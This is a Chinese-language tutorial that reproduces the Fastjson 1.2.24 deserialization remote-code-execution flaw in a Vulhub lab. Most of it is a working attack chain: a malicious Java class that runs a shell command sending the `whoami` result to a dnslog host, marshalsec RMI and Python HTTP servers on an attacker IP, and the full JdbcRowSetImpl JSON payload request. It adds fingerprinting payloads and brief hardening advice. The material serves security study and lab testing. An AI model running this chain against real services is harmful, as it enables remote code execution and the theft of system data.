Fastjson1.2.24漏洞复现详细过程
字数 928 2025-08-15 21:31:23
Fastjson 1.2.24 反序列化漏洞复现教程
一、漏洞概述
Fastjson 1.2.24 版本存在反序列化漏洞,攻击者可以通过构造恶意的JSON数据,利用JNDI注入实现远程代码执行(RCE)。该漏洞主要由于Fastjson在反序列化时未对输入进行充分验证,导致可以加载任意类并执行其中的代码。
二、环境准备
1. 靶场环境搭建
使用Vulhub提供的Fastjson漏洞环境:
docker-compose up -d
此命令会启动一个监听8090端口的Fastjson服务,假设目标IP为1.1.1.1。
2. JDK安装
下载并安装JDK 8:
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
配置环境变量(编辑/etc/profile文件):
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
使配置生效:
source /etc/profile
验证安装:
java -version
3. Maven安装
下载并安装Maven:
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置环境变量(编辑/etc/profile文件):
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
验证安装:
mvn -version
三、漏洞复现步骤
1. 创建恶意类文件
创建dnslog.java文件:
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译生成dnslog.class:
javac dnslog.java
2. 启动HTTP服务
在当前目录启动HTTP服务(端口4567):
python -m SimpleHTTPServer 4567
3. 搭建RMI服务
下载并编译marshalsec项目:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
启动RMI服务(监听9999端口):
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#dnslog" 9999
4. 构造并发送Payload
使用Burp Suite构造并发送以下请求:
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/dnslog",
"autoCommit":true
}
}
5. 验证漏洞利用
成功利用后,可以在以下三处查看执行情况:
- RMI服务端日志
- Python HTTP服务日志
- DNSLog平台(应能看到执行结果)
四、Fastjson指纹识别
1. 返回包特征
发送不闭合花括号的POST请求,返回包中通常会出现"fastjson"字样。
2. DNSLog盲打
构造以下Payload进行探测:
{
"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.example.com"}
}
或:
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"dnslog.example.com"}}]
五、常见问题排查
- JDK环境问题:如果出现编译错误,可能是JDK环境不完整,需重新安装完整JDK
- 端口占用:检查RMI服务端口(9999)和HTTP服务端口(4567)是否被占用
- 防火墙拦截:确保相关端口未被防火墙拦截
- DNSLog无响应:可能是命令未执行成功或DNSLog平台问题
六、防护建议
- 升级Fastjson到最新安全版本
- 使用安全配置关闭autotype功能
- 对输入进行严格过滤和验证
- 限制网络访问,特别是出站连接